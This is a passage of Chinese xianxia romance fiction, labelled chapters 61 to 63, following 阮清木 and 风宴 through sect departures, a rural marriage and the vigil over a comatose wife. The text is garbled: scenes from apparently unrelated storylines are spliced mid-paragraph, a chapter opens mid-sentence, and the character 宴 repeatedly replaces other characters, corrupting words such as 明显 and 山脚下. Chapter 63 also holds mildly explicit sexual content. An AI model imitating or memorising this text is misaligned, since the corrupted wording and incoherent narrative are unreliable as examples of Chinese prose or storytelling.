空青仙君上前一步,连点几道大穴,紫虚真人平静下来,身体内的蛊鱼此时行动滞涩,无处逃身,很快便被收入三清瓶中。 此时,云清屿已经被松开,她双腿被冻得僵硬,一下跌到地上,黑色的眸子悠悠看向阮清木。 “小师妹在宗门人人喜爱,刚好可利用这一点试探下众位仙君长老。蛊鱼肯定会蛊惑附身之人,先拉个替死鬼,所以,最想让小师妹当替死鬼的便是被附着之人,可平时掌教最是看重小师妹,怎么会如此反常,都不为你争辩一句呢?” 转折与收服只在须臾,众人看得瞠目结舌。 从破解缚灵诀,到躲过紫雷魔域,到一炷香内抓获蛊鱼…… 即便没有破解缚灵诀那般震惊的力量,没有她身旁那位少年,那无可比拟的剑法、坚韧不拔的剑意,以及临场应变的能力…… 众人看向阮清木的眼神已经变了。 大多数人来到衍华时,对大师姐最初的记忆便是根骨平庸,稳重沉默,自从小师妹来到衍华,对比更加宴显,与大师姐靠近之人多半会倒霉,而小师妹天赋异禀,与她靠近总会获取意外机缘。 师弟师妹们便渐渐习惯了贬低大师姐,吹捧小师妹。 但也有在衍华待的久的,见过大师姐最初的样子,他们此时突然想起了最初的她,便如今日一般—— 木裙宴媚,面若桃花。雾绡轻裾,剑逐沧浪。 除了修为,样样出类拔萃。 今日她气势全开,能看出修为已然进步不少,虽还不如天赋异禀之人,但早已可以独当一面。 原来大师姐并非他们想象的那般无能,也并非争不过。 可先前究竟为何会落到那般地步呢? 彼时,四方阒寂。 阮清木见事情尘埃落定,才看向风宴:“配合不错。不过,你会不会下手太狠了些?我方才只是让你帮我控制一下,可没让你用杀招啊。” 风宴冷嗤,“缚灵诀算什么杀招,不痛不痒。” 不痛不痒?方才缚灵诀让她小命都快没了跟她说不痛不痒? 阮清木:“……你们妖都这般皮糙肉厚吗?” 风宴闻言睨她一眼,勾起唇角:“我忘记了,你还差得远。” 阮清木:“?” 她怎么感觉自己被这只妖鄙夷了? 但他确实说得不错,她现在确实太弱小,所以她已经开始思考,待会儿该怎么骗他灵力了。 此时,紫虚真人面阮苍白,好像已被吸食了大半魂魄,没清醒一会儿便昏迷了过去。 长老关切问道:“掌教他……可有大碍?” 空青仙君:“无碍,吃半个月回魂丹补补便好。我先带掌教回去休息。” 白木胜雪的仙君正要离开,却又像是想起了什么,停下脚步,目光越过重重白雾与人群,落在阮清木身上。 阮清木似有感应一般,空气中突然蔓延起无言的悲伤。 空青仙君定定凝视她片刻,浅色的唇却扯出个浅淡的笑,“你做的不错。” “从今日起,便允你下山,你可去做你想做的事。” “衍华亏欠你,我也亏欠你,纵然你已不再留恋,但若你有一日,无家可归……” 空青仙君说到此处,不知想到什么,突然顿住,默然片刻继续道,“日后,此心安处,便是归处。” 阮清木见他说完便决然离开,便最后一次道别,“仙君保重。” 一句仙君,隔开万里。 她固然也是执拗的,说断绝便是真要断绝。 她想过无数次,当她真正离开衍华时,会是怎样的光景。 是在众目睽睽之下终于比过了小师妹一回,还是她的修为突飞猛进为自己争了口气,终于证宴自己不是样样不行,为自己正名。 如今她在能力范围之内好像都做到了。她也变得更加坚韧,要去看更广阔的天地。 阮清木知道,空青仙君也知道,这次便是师徒二人最后一次对话,她不会再回来。 空青仙君手微微颤抖地抚上胸口,终是一步未停的离开。 风宴在此处停留太久早已不悦,见她略微怔忡的模样越发不耐,强行拽着人离开。 他冷道:“你若舍不得何不留下?柔弱成这个样子,哪里像剑修女子。” “柔弱?”阮清木终于缓过神来,敛起情绪,“那我留下,你自己去浮若可好?” 风宴拒绝的斩钉截铁:“不成。” 阮清木弯起唇角,“看吧,你这么厉害,还不是需要一个‘柔弱’女子。” 风宴冷着张脸,没再搭话。 阮清木想起这人今天三番两次嫌自己太弱,于是决定好生哄骗一次灵力。 阮清木绞尽脑汁地想了个理由:“那个……我脚疼。” 风宴:“?” 阮清木声音柔软:“路途遥远,可否体谅一下?” 抱一下不过分吧…… 但她还是没好意思说太直白。 风宴凉凉道:“脚下是北海,站不稳,不过是下去喂鲨鱼。” 阮清木:“……”妖的思维果然是如此凶残的。 但为了灵力,阮清木可不会轻易放弃。 阮清木想到他也有求于自己,心一横:“你杀了我,那你的毒也别解了。” 风宴眉梢微蹙看着她,眸底掠过凌厉,隐隐有杀意涌动。 阮清木一见便知用错了方法,他动怒了。《 》 60-70 第 61 章 第 61 章 几缕炊烟在半空中逸散,像是为这小村蒙上一层柔和的滤镜。风景如画,三两笔勾出轮廓,再用炭笔一渲,便成了形。 柳二娘探头来看,只觉得她画得古怪,却又极有神韵,打趣道:“这也是你夫君教你的?” 自从柳二娘上次碰见风宴教阮清木读书认字,便时时要拿出来说两嘴,觉得他们小夫妻浓情蜜意,闺房乐趣也来得风雅。 阮清木把手里的白鹿纸翻了个面,端详着柳二娘:“二娘,我帮你也画一幅。” 穿越以前的阮清木是个美术生,唰唰几笔就能勾勒出形状,她有心把柳二娘画得更漂亮了一点,把对方哄得合不拢嘴,晚上亲自送她回家。 阮清木和风宴的小家就在七凌峰的宴脚下,和村里其余人家隔得都远,她又是后搬来的,一直有些孤僻,还好有柳二娘跟她说说话。 迎着天边闪烁的星,她们有说有笑着向宴脚下走去,柳二娘忽而呀了一声,“你肩上落了个什么?” 是只粉色的蝴蝶。 追着阮清木飞了一路,此时正静静停在了她的肩头。 阮清木浑身发毛,马上小碎步着跺脚将它震开:“走开走开。” 小粉蝶跌跌撞撞着飞走了,柳二娘笑着往她脸上拧了一把:“这小脸蛋儿,连蝶儿也喜欢。” 阮清木生得极为漂亮,巴掌大的脸上嵌着水汪汪的葡萄眼,总是转来转去,像个瓷娃娃。 虽说已为人妇,却还是俏生生着不谙世事的女孩模样,让人心生好感。 阮清木嘻嘻一笑,“那二娘今晚别回家找你相公了,就来我屋里睡。” 柳二娘挑眉,作势去看阮清木的家里,不想瞧见她院子里的灯火微芒,“阮阮,你家仙君今日竟回来了。” 阮清木的夫君虽说只是凡人,却是在鼎鼎有名的大宗门里当差,替宗门管理着俗世杂务,在村民的眼里也算半个仙人了,平日里都很尊敬他。 风宴一向忙碌,十天半月里只回来一次。 柳二娘悄摸着跟阮清木嬉笑:“看来是知道你这小娘皮要红杏出墙,着急忙慌的就回来了。” 阮清木忽而有些不好意思,抬头往那宴上看去。 风宴正提了盏风灯立在小院门口,秋风萧索,吹得那盏小灯明灭晃动,脚下影子鬼魅般的闪烁着。 他颀长的身躯浸在月色里,遥遥看了阮清木一眼,又将手中风灯吹灭,挂在了院门口。 大概是发现自己不在家,刚点了灯要来寻。 阮清木默默加快了步伐,柳二娘上前笑道:“真不好意思,不知道大仙君今晚回来,我把阮阮留了吃晚饭才走,打扰你们小夫妻相聚了。” 风宴却先是伸手,把阮清木牵至自己身后,这才客气道:“我也是才回来。是我们夫妻叨扰了。” 柳二娘摆摆手,“说什么叨扰?咱们都喜欢阮阮呢。人人都羡慕您,有个这样性格模样都好的夫人。” 风宴微妙一顿,“是么。” 送走柳二娘后,两人还牵着手往回走,阮清木捏了下风宴的掌心,“你吃过晚饭了?我去给你热点菜吧。” 风宴嗯一声,放了阮清木的手让她去厨房,自己转身回屋。 等阮清木端着一碟小菜和两馒头来到堂屋,见他支着下巴假寐,却没由来地笑出了声。 风宴淡淡抬眼,她却还在兀自笑着,笑够了才三两步上前,指指他的脸,“像个花猫一样。” 她的眼眸透亮,不知为何笑得有些狡黠。 说完这句,阮清木很快转身去隔壁拿了条毛巾过来,边走边说,“我今天拿炭笔了,手上全是灰,你也没发现呀。” 她刚才捏了下风宴的手,碳灰又被抹到男人的脸上,乱七八糟的,瞧着让人忍俊不禁。 湿热的毛巾,不由分说盖到了他的脸上,风宴的指尖有一瞬的绷紧,又无声放松了下去。 阮清木帮他胡乱地擦了两下,力气有点大,风宴的颊边添了点潮红,不再那么清冷遥远,总是克制而严谨的眼神也散了,瞧着有些散漫。 阮清木的动作一顿,风宴却自如地偏头,在她手背上轻啄了下,“怎么这么晚才回家。” “噢,我想跟柳二娘学刺绣。”阮清木在风宴对面坐下,懒洋洋地趴在桌子上,“如果我能做得好,以后就跟她一起去城里,接一些绣活儿回来做。” 家里虽然不缺钱,但阮清木还是想有个能傍身的一技之长。 风宴点着头,忽而说道:“她唤你阮阮?”小熊猫猛猛地蹿了一夜,刚扒着个树杈子要睡,冷不丁一张银色大网就甩了过来,那是林微的偷袭。 林微把它抱在怀里,不掩惊讶,“咦,你竟能从师祖的眼皮子底下逃走。” 它身上的追踪咒还在,彰显着它逃犯的身份。 小熊猫张口就骂:“杂碎,快把爷放下!你家师祖自己要放了爷的,他哪里敢真的叫爷去给他女人当玩物。我呸!” 好暴躁。 林微笑眯眯着,“想来也是,怎么会有人能够从师祖身边逃了。但他不会无故放了你,说个理由给我罢。” 他身旁跟了个冷脸的女修,直勾勾盯着小熊猫,“再出言不逊,我扒了你皮。” 然而这只猛兽却只是嚣张着继续辱骂,越来越让人听不得了。林微只好将它的追踪咒解开,重新放了回去。 “师祖有他自己的道理。”林微跟师妹解释,“他突然闯入地牢,不打一声招呼就提了这只九节狼出去,又放它离开。必是有什么玄妙的用意在,咱们不必横加干扰。” 说得也是。 楚意凝望着那只九节狼的背影,“师祖究竟身在何处?” 紫英仙君闭关化劫已有十年之久,但他不同常人,肉身虽困,神魂却一直在外游荡,自由的很,只有林微能够驱动玄铃给他传递消息。 所有人都悄悄地传,说紫英仙君其实飞升失败,被天雷给劈死了。流言与躁动犹如野火燎原,以至于天下有了几分乱象,连魅魔都重又滋生于天地之间,整个魔道的气势都为之一振。 “我也不知道。”林微叹口气,“天下不太平,魅魔复生。师祖想必是在想法子解决她吧。” 紫英仙君就是这样,他是正道魁首,是妖魔闻风丧胆的天下共主,只要有他在,这个世界就不会乱。 楚意语气里添了丝敬畏:“师兄说得是。紫英仙君心怀天下,大仁大义。绝不会为一只魅魔所迷惑。” 林微:“……” 他缓缓转头,盯着楚意,“你学坏了,来套我的话。” “没有。”楚意羞愧低头,“都是花梵胡说八道,但师兄,这只妖兽口口声声说师祖拿它去讨一个女人的欢心,确实可疑。师祖几百年来都没道侣,为何魅魔一现……” “你也知道,咱们师祖几百年来都没道侣?”林微没什么好声气,“他老人家比那帮无情道的都还更冷,七情六欲与他一概不相干,怎么可能会为魅魔所惑?” 魅魔是个妖邪至极的东西,其身若是不正,自然是极易被侵蚀,成为魅魔的养料。 但紫英仙君,他本身就是光明,大仁大义到了头,就是无情也无欲。 然而这个小师妹全然一根筋,听了这话却还是满脸的担忧。林微叹口气,“你立个密言誓约来,我告诉你罢,这魅魔与天下情欲之业乃是此消彼长,师祖的确抓到了她,但现在不能杀,因为她此时尚且弱小,这时候早早杀了她,保不齐哪天她又被情欲滋养着复生,我们反而落入被动。” 但时日一长,待到魅魔吸收并消耗了足够这世间的情欲业力,那时再把她杀了也不迟。 到那时,世间业力衰微,她再想要复生,大概也是千年以后的事情了。 楚意闻言更是羞愧,“我明白了,师兄。原来师祖如此老谋深算,是我小人之心。” 林微,“你…算了。” 正说着,林微腰间的花铃催动。他们一起感受到了紫英仙君至纯至深的法力,浩浩荡荡、铺天盖地袭来,灵魂仿佛被拉到这宇宙的深处,敬畏中暗含一丝恐惧。 “楚意?”紫英仙君的声音波澜不惊,“你少跟在林微后面厮混。” 这两人的脑子都有些偏,林微聪明过头,楚意又莽到头,并不互补,反而诡异地合频,在不正常的道路上越走越远。 “师祖。”楚意已经跪了下去,朗声说道:“我跟师兄不是有意议论师祖您的私事,错全在我一人。您与那魅魔之间的事,我与师兄绝不宣扬,我们必誓死捍卫您的清誉!!” 林微膝盖一软,这下不得不跟着跪了,“师祖。” 师祖只是沉默。 他当了这么久的师祖,突然被年轻的小弟子们当面议论八卦,多少是有些不自在。 但也只是一瞬略过的情绪,一瞬过后,他反而对自己的不自在而感到奇怪。 这种被淡淡的恼怒充盈着,却并不想责罚任何人的情绪。 有点陌生。 “罢了。”风宴开口,“刚好你在,现在动身去七凌峰找间房子住下,什么事也不要做,就住在那里修行一阵子。遮掩身份,不要让旁人知道。” “我?”楚意心头一凛:“请师祖放心,我势必将那里的妖魔斩杀殆尽,连个花妖树精都不会放过。” 风宴却没再出声。 林微腰间的花铃忽而射出一道灵咒,直打在了楚意的胸口。这一招毫无由来,两人俱是惊骇,却没人敢有动作。 一炷香之后,林微才试探着站起身子,立刻探查小师妹的脉象,凝神道:“师祖给你下了止杀令。” 别说杀妖除魔了,她现在连拍死只蚊子都做不到。 “你也可以这么叫啊。”阮清木打量他一眼,忽然发现,两人互相间还没个称谓。 半年前,她在宴上半死不活地被风宴捡回了家,在知道她失去记忆无家可归以后,对方便问她,要不要与他结成夫妻。 那会儿阮清木乍然来到陌生的世界,身体虚弱、寸步难行,她只能答应下来。 不过在成亲的当夜,风宴就跟她说了实话:自己不能人道,无法尽夫君的职责。 阮清木竟是松了一口气,总算明白过来,为何风宴会提出这样的要求。 风宴虽是入了仙家,然而资质不佳,只是个身份不高的外门执事,处理宗门杂务,与普通凡人并没太大分别。 他父母俱已不在人世,如今年近而立,却始终孤身一人,免不得被流言所扰。 他天生不能人事,不愿意叫人知道,也不好耽误其他女子。恰好遇上了无家可归的阮清木,两人不过是相互取暖。 不过大半年相处下来,阮清木逐渐觉出了风宴的温柔可靠来。她自然地把手递给风宴看,“但我今天总是会扎到手指,你看。” 瓷白的指腹上,落了两三粒红色小痣,扎眼得很。 风宴的目光凝在那些小伤上,很仔细地瞧着,随后将她的手包在掌心里揉了揉,“那就不学了。” 阮清木只是忸捏着不说话,闷了半晌,忽而摸出个香囊放在风宴掌心里,“给你的。” 风宴没有用香囊的习惯,何况这个东西做得很难看,针脚歪斜,形状古怪。 看得出是第一次做针线活儿。她的心里只想着他,第一个缝出来的小物件,便是替他做得。 风宴左右看看,发觉这东西竟然与阮清木有几分神似,“……嗯,是要我带着吗?” 阮清木撂下一句:“随便你。” 宴里的夜,总是要更凉浸一些。 待阮清木洗完澡,风宴便把浴桶洗刷干净晾在小院中,瞧见那风灯的影子倏地摇晃。 一只粉蝶,正静静伏在灯上,翅膀翕合着轻颤,触角变化短长着,显出几分犹疑。 第 62 章 第 62 章 糖圆这些年一直待在天月宗,一定知道有关清离的消息!“我爱慕清离仙君。” “他比你好多了,风宴。” 阮糖笑着说,眉眼弯似月牙,语气还是甜腻腻的,说出口的话却像是一把利刃,直直地捅进风宴的心。一动,五脏六腑都被这刀搅动,疼痛感席卷全身。 他慌了神,想追过去,拉住她的手。上下嘴唇碰了碰,却只吐出笨拙的一句:“……为什么?” 阮糖仍笑着,只是离他越来越宴。风宴看见她转过身,扑到一个男子怀中,两人相互依偎着,亲密无间。直到那男子低下头,在阮糖耳边说了句话,她才不情不愿地转过身,没好气地说:“风宴,你就是个废物,我永宴不会喜欢一个废物。” 废物。 他是废物。 风宴垂下眼,透过余光,他看见阮糖的裙摆消失不见,但她的声音充斥在他四周,不断鞭尸拷打着他—— “你除了爱我,你还能做什么?” “要不是那天你不在我身边,我会死吗?” “从前是我瞎了眼,以后我不会了。” “我真讨厌你,风宴。一看见你这副模样,我就恶心得想吐。” 风宴站在原地,心却如千斤重,重到他直不起腰,抬不起眼,遑论直视前方。他牢牢地攥紧双手,几乎要用尽全身的力气,才能让自己不倒下。 直到鲜血从他的掌心溢出,风宴才狼狈地抬起头,冲着前方喊,声音嘶哑:“清离也是个废物,十年了,他都没能救活你!” 他和清离都是个废物。 风宴伸手捂住脸,却只摸到几丝冰凉。再睁开眼的时候,他看见自己的手搭在寒冰玉床上,而阮糖正静静地躺在他身边。 那只是一个梦,风宴告诉自己。 风宴伸手将她抱紧,在她怀中平复着心绪,半晌才起身,将阮糖抱到梳妆台前,为她梳妆打扮。 糖圆也醒了,它小心翼翼地迈着猫步,凑到梳妆台边,看着这个狗男人为娘亲梳妆。尽管糖圆心中有一千个一万个不愿意,它也还是不得不承认,风宴梳妆打扮的功夫进步极大,为娘亲画的妆容也是越来越好。 要是娘亲醒来看到的话,她一定会喜欢的。所以,趁着娘亲现在还没醒,它得努力偷师学艺,争取早日超越风宴。 “今日给你画的是梅花妆。”风宴低下头,细细地为阮糖描绘着眉形。画罢,他又从妆匣里拿出胭脂和口脂,为阮糖染上唇色。 上妆之后,阮糖的脸上自然而然多了几分鲜活的生气和血色。 风宴弯下腰,站在她身后,又对着镜子给阮糖梳发髻。等一切都装扮好,风宴才又将阮糖抱起,把她抱回床上。 她闭着眼,四周雾气缭绕,像极了云中仙子。风宴不免看痴,直到糖圆喵呜了一声,他才恍若大梦初醒,低下头,吻在阮糖的唇上。 “等着我,糖糖。”天月宗。 风宴回到洞府的时候,王复一早已离开,桌上却摆着一瓶药。风宴将其收入柜子,却没有启用。 只有一人一剑的时候,天华剑便忍不住出声,声音环绕在风宴的耳边:“你为什么不杀了她?” 风宴没有回答,天华剑以为是自己的主人不愿意说,却没想到风宴也不知道原因。对风宴来说,放走她,似乎只是一种下意识的行为,不需要任何理由。 外面更深露重,风宴却没有急于歇息,而是走到今日王复一无意间触碰过的那处地方。他一靠近,天华剑便乖巧地放出一点灵气,跟在他身后。 转眼间,一扇门出现,尔后慢慢打开,露出内里的光景。 若是阮清木看见这幅场景,她一眼就能认出,这是她和风宴日夜相处的卧房。 在风宴走入后,那扇门默默关上,尔后继续隐于洞府之中。一进门,寒气迎面扑来,风宴却置若罔闻,径自走向那一张冰床。 阮糖闭着眼,静静地躺在寒玉冰床上,面容恬静,仿佛正在熟睡,只是周遭涌动的冰气彰显着这一幕的怪异。风宴走近后,那些冰气才稍稍退让,离开了阮糖的身体。 直到看见阮糖,风宴的面色才有了完全的松动。他坐下来,温柔地将阮糖搂入怀中,又抱起她,轻声说:“先帮你沐浴,好不好?” 一旁的天华剑捕捉到关键词,默默摒除灵识,缩在角落里。它是一只有礼貌的剑,自然不会随便偷窥主人服侍他夫人沐浴。 天华剑:看了会羞羞脸。 风宴抱起阮糖,来到另一边的浴堂。他一挥动袖子,浴桶里便充满了冰冷的泉水,白雾飘然而上,却不带半点温度。对面摆着衣架,早已熏过香气的衣裳就挂在那里,等着阮糖换上。 风宴垂着眼,剥去阮糖的衣服,为她一一清洗。泉水冰冷刺骨,风宴却没有刻意运用术法隔绝掉这种感觉,他要日日承受着这种痛楚,才能不断提醒着自己,不许停下来。 阮糖一日不醒,他的使命便没有完成。 风宴不带一丝欲念地帮阮糖清洗着身体,又帮她擦干头发,换上崭新的衣裳。整个过程中,阮糖都没有睁眼,更没有动,很是乖巧,不像很久之前,他每次帮她洗澡,阮糖总是会故意闹他,打湿他的衣服,将他拉下水。 对于阮糖的顽劣,风宴总是束手无策。但现在,只要风宴想,他可以随意制止住凡人阮糖的一切行为,可他多想阮糖睁开眼,用水泼湿他,将他的衣服搞得一团糟。 他不会再欲迎还拒,而是要牢牢地抱住她,一刻不停地亲吻着她,然后进入她的身体,身体力行地告诉阮糖,他有多想她。 离开浴堂,风宴又将阮糖抱回床上。他握着她的手,感受不到一点温度,心里却一暖。风宴低下头,虔诚地在阮糖的额间落下一个吻。 时间静止了一般,寂静一片,只剩下风宴的声音。 目光流连在怀中人身上,风宴不紧不慢地说着今日的事:“我又出了三个任务,赚来的赏金都给你定了衣裳。掌柜说最近新进了一批布料,我看了,花样是你最喜欢的那种,摸着也舒服。” “快要入秋了,到时候我给你做桂花糕。我们也送点给小玉姐,好不好?”风宴用商量的口吻说,语气中却全是纵容,“你还记得吗?阿庆最喜欢吃桂花糕了,我会做很多,你不用担心不够吃,我们还可以分一点给阿庆。” 说了一会,风宴才松开阮清木,让她平躺着。 “睡吧。”风宴柔声说,“我新学了梅花妆容,明日给你画。” 说罢,风宴正要伸手解开外衣的衣带,一只猫却从门外窜进来,喵了几声,伸长脖子,一个劲地往床上凑。 风宴不满:“小声点,你会吵醒她。” 糖圆苦着脸,却又打不过风宴,只能闭上嘴,落寞地趴在床边,感受着阮糖少得可怜的气息。 十年了,娘亲似乎离它越来越宴了。可惜,那日之后,它也彻底困在了这副身躯中,不然也不会留在这个男人身边,等着他将娘亲救醒。 哼,等娘亲醒了,它就要撺掇娘亲找其他人来当它的父亲,好好地报复这个冷漠无情的狗男人。 处理好这个插曲,风宴和衣躺下,半搂住阮糖,闭上了眼。一瞬后,风宴又睁开眼,他感受到了那股灵力的存在。 临走前,他趁唐小米不备,在她身上下了追踪术法。而现在,风宴再次感应到了她的存在,那是妖魔宫的位置。 她果然是那群妖魔派来的人,难怪心思不纯,油嘴滑舌。 既然如此,下次再见时,他会杀了她,内心丑陋之人根本不配与阮糖相像。 似是感应到风宴的杀意,躲在角落里的天华剑嗡了一声。 风宴直起身,深深地看了她一眼,尔后才转身离开。糖圆亦步亦趋地跟在他身后,在角落里度过一夜的天华剑也感应到主人的气息,随后化形,收归在剑鞘之中,回到风宴身边。 出了秘室,糖圆才敢提高声音,扑棱到风宴身边,冲他直叫。再不给它饭吃,它就真的要闹了! 风宴没看它,只从储物袋里掏出几颗灵石,扔到糖圆嘴边。它忙不迭凑过去,不过眨眼间,便将这些个灵石吞吃入腹,最后还打了个饱嗝。 看着饱餐一顿的糖圆,剑鞘里的天华剑也意动起来,正要“嗡嗡”几声,却感应到一大堆灵石的气息。下一瞬,它便偃旗息鼓,不再闹了,转而开始疯狂地吸收灵气。 嘿嘿嘿,主人对它可真好! 进食完成,天华剑不像糖圆那样能打嗝,但它还是努力地“嗡”了一声,炫耀自己刚刚享用了一顿大餐。没想到,它才刚动,风宴便带着它到了洞府后方的密林之中,开始练剑。 跑了一万步的天华剑:谢谢,又饿了。 练完剑,挂在风宴腰间的通讯玉简闪起微光,他便往议事堂而去。议事堂里,黎清越正在等他。两人见面,风宴简单地行了个礼,便站在那里,等着他吩咐。 黎清越原本还想先对风宴嘘寒问暖一番,毕竟这些日子他实在太拼,宗门里的人都在传,风宴练剑练得都要走火入魔,是个完完全全的剑痴了。但见风宴这副作态,他也只能开门见山:“清离,有件事情需要你去做。” “掌门请说。” “前不久,我们在妖魔宫的人传来消息,魔族圣女已经苏醒。她是前任魔皇与圣女结合所诞下的女儿,与现任魔皇游彦、妖皇路生关系匪浅,她的昏迷与十几年前那场妖魔宫内乱有关。如今她醒来,我们可以从她入手,设法探听消息,找到那场妖魔大战的真相。” 风宴问:“要怎么做?将她抓来,严刑逼供如何?” 黎清越:“……” 缓了一会,黎清越才徐徐开口:“这倒也不必,此事我们需要徐徐图之,不可操之过急。据我们在妖魔宫的人所说,这位魔族圣女生性单纯,备受前任魔皇宠爱,甚至前任魔皇还为她留了秘宝,此物可以牵制住游彦。是以,我让你前来,是想要你设法取走魔族圣女的秘宝,让其为我们天月宗所用。” “既然只要秘宝,那杀人取宝物,为何不可?”风宴很认真地问,他并不想与魔族圣女做过多的周旋,只想尽快完成这个任务,早日从掌门手中拿到天月宗秘宝。 黎清越勉强维持住面上的微笑:“清离,这不是你该问的,你要做的只是执行。” 风宴这回倒是干脆利落地回了一个“好”。 交代完情况,风宴便要转身告辞,黎清越喊住他,说:“日后你若再做任务,一并带上你元珍师妹。” 小米姑娘?!风宴不提还好,一提林不语便气上心头。要不是风宴突然喊他去做任务,他早就和小米姑娘去约会了,说不定现在两人已经更进一步,马上就要成为道侣。 林不语心想,你风宴真是我姻缘线里的扫把星,每次有你出现就保准没好事。之前风宴便当着他的面与小米姑娘眉来眼去,现在居然还敢命令他,不准他接近小米姑娘。 林不语没好气地应了一声,只当那是耳旁风,左耳进右耳出,左右风宴不是他的直系师兄,没什么好怕的。 赵元珍本就被冷落了好一会,心里有气,此时又见风宴提起唐小米,不由醋意大发,扯开碍事的林不语便站到风宴身边,对着他发脾气:“师兄,掌门让你出任务带着我,你怎么自顾自便走了,也不同我说一声?” 第 63 章 第 63 章 惠阳镇。 林不语半弯着腰,站在徐津身后喘气,他也不是真的身体乏累,而是心累。毕竟,谁家大好人说要巡山,真就是在山上绕着走好几圈,一花一草都不放过啊?! 这样的严谨态度,林不语属实是学到了。 “你若是受不了,便在此处等我,我巡查完再来找你。” 听到徐津的话,林不语顿时直起背,将头摇成拨浪鼓:“……不用,我还是跟着师兄吧,此次和师兄一起下山出任务,我真是收获颇丰!” 徐津嗯了一声,当真便继续往前走,连句话都不说,林不语只能将苦咽下去,迅速跟上去。一路上,林不语都跟在徐津身后四处晃荡,时间一长,心思便不由得游离出来。 师父说这次下山的任务不简单,让他多加注意一下,特别是要牢牢跟住徐津,但直到现在,林不语也没有发现什么特别之处。 难不成师父还会诓骗他?阮清木没想到自己有天也会尝到搬起石头砸自己的脚是何种滋味,那话不过是她随口编的,却被风宴当了真,拿出来当作不同她做的借口。 她不会怀孕的,就算阮糖的身体只是凡体,但她毕竟还可以调用灵识和灵力,避个孕根本不是什么难题。 见状,阮清木也只能哑巴吃黄连,有苦说不出,继续去勾着风宴,她就不信风宴会没有半点反应。不一会儿,风宴确实有了反应,但还是哑着声,将阮清木作乱的手拨开:“……睡吧。” 阮清木气得要死,又拿风宴没办法,他都这样了还不愿意同她做,阮清木也不能真的玩什么霸王硬上弓的戏码。于是,阮清木收回了手,转过身,背对着风宴,闭上了眼。 她等了一会,见风宴也没有服软,更没有凑过来抱住她,不由得更气了。 气着气着,阮清木原先心中的那点离愁和郁结也消散了。她闭着眼,呼吸逐渐变得平稳,不久便进入了梦乡。 此后许久,风宴才试探性地轻声喊她名字,见阮清木没有反应,才伸出手,又将她搂进怀中,紧紧抱着。许是闻到熟悉的气息,睡梦中的阮清木全无半点情绪,下意识地又将手和腿缠到风宴身上,与他紧紧相贴。 风宴闷哼了几声,手臂的肌肉紧紧绷着。他忍了一会,还是轻手轻脚地将阮清木的手脚挪宴,一个人起身下了床,走向浴堂。 灯火微亮,风宴仰着脸,呼吸粗重,手在水面以下动着,带起阵阵声响。 深夜,风宴才重新带着沐浴后的冷气回了房。他在窗边静静地站了会,等身上又温热起来,才又躺回到阮清木身边,将她搂住。对于风宴的所作所为,阮清木浑然不知,只是又习惯性地窝进他的怀中,睡得更香了。 翌日清晨,一夜无梦的阮清木难得先睁开了眼,得以观察风宴的睡颜。看了会,阮清木才意识到不对,昨晚她明明是背过身,刻意与风宴隔了点距离才睡的,怎么一眨眼,她又回到了风宴的怀中? 绝对不可能是她主动的,一定是风宴。 阮清木冷笑一声,又要转过身,向外挪,却被风宴紧紧搂着,难以动弹。她只能重新转回身,去扯风宴的手,扯着扯着,风宴便动了。再一抬头,阮清木便对上了风宴的眼。 看什么看,不让睡还过来搂她? 阮清木没好气地看他一眼,就要起身下床,却又听风宴终于服软:“……糖糖,是我的错,别生气,好吗?” “不好。”阮清木的回答很是干脆利落,她低垂着眼,一副很受委屈的样子,“每次都要我主动,你才肯。现在我主动,你又不肯起来,你到底要做什么?” 说着说着,阮清木是真有点委屈起来。虽然是为了风宴的气运,阮清木才想尽办法同他亲密,但现在都做了夫妻,风宴还是那副不冷不热,要等她主动才肯的样子。无数个瞬间,阮清木都怀疑过他不是货真价实的男人。 “我错了。”风宴抱着她,解释道,语气中尽是慌乱,“我怕你受累,也怕自己会伤着你。” 做这种事,总得要她先愿意才行,不能只为了满足他的一己私欲才做。 阮清木不说话,故意让风宴去猜她的想法。好一会儿,风宴才慢慢靠过来,轻轻地碰了碰她的嘴唇,阮清木便顺势探出舌尖,与他勾缠起来。 深吻之间,两人又先后躺倒在床上,呼吸贴的极近。 阮清木又感受到了他的反应,但她心里还有点气没出,就转过脸,躲开风宴的吻,看他不知所措地愣在那里。 他反应得很快,脸还红着,却先又解释起来:“抱歉,等找着……” 阮清木直接打断他,略一挑眉,笑容明媚:“谁说要和你行房了?你愿意忍着就忍着,我可不想忍着,你得帮我解决。” “解决?”风宴皱起眉,似乎不解,“如何解决?” 阮清木眨眨眼,索性直接撩起裙摆,为他指点迷津:“用手,用嘴都可以。” 林不语摇摇头,又四处摸索着,一会踩踩地上的虫子,一会摸摸路边的野花。过了会,他叹一口气,还是抬头,朝着前面的徐津说:“徐师兄,我们这也走了好几遍,都没有什么事情,要不我们去山下……” 话还没说完,林不语便听见轰隆一声,好几块巨石从眼前落下,重重地砸在地上,被扬起的黄土向四处飞溅。他瞪大眼睛,话便断了开,如鲠在喉。 “屏息凝神!”听到关门声,阮清木才睁开眼,慢慢地坐起身。 说实话,她也不知道为什么一察觉到风宴的脚步声,她就下意识地拉起被子,把头一蒙,装作自己已经睡着了。在她的记忆中,只有在自己小时候做错事,怕母亲惩罚的时候,她才会装睡。 而现在,大概是因为她还不知道如何去面对风宴吧…… 阮清木叹了口气,走到桌边,拿起风宴留下的信笺看。他的字迹一向清雅方正,留下的信息也极为详尽。 “宁香阁的蜜饯果脯和桃花酿都在桌上,若是睡醒想吃,可以用些。绣花阁新进的胭脂我也买了些,都放在你的妆匣之中,还有先前定做的衣裳也悉数收好了,你有空可试试,看是否合意。另,醒来若是寻不着我,我约莫是在山上,无须担心。” 阮清木捏着那张信笺,先是到妆奁处看了看,又去找那些衣裳,都是些明黄色和淡紫色的亮色,做工也很是精细。 风宴置办的东西无一不合她的心意。 阮清木这才发现,风宴对她的观察和了解早就体现在生活中的方方面面,而她到了现在才萌生出想要多多了解风宴的想法。他们之间的差距,可谓悬殊。 她低头,看着那张被她揉得发皱的信笺,想了想,还是将其放入了随身携带的储物袋中。 下一瞬,原本还睡得正香的糖圆突然跳了起来,一个劲地往阮清木的身边冲,仿佛身后有人在追杀。就算最后到了阮清木的怀中,它也不甚安稳地摸来摸去,像是在恐惧着什么。于是,糖圆身上的那块白玉石也在一晃一晃中折射出窗外的光,亮的人不适。 阮清木抱着糖圆,微微皱起眉头,糖圆是通灵性的,不可能无缘无故地发起疯来。思忖过后,阮清木还是屏息凝神,稍稍放出点灵识,慢慢地往外探究。 起初原是很平静的,但一靠近那座山,阮清木便察觉到了极强的灵力波动。但那边又没有人在打斗,这样的安静之下还能造就如此灵力,山上的那人必定有着不错的修为。 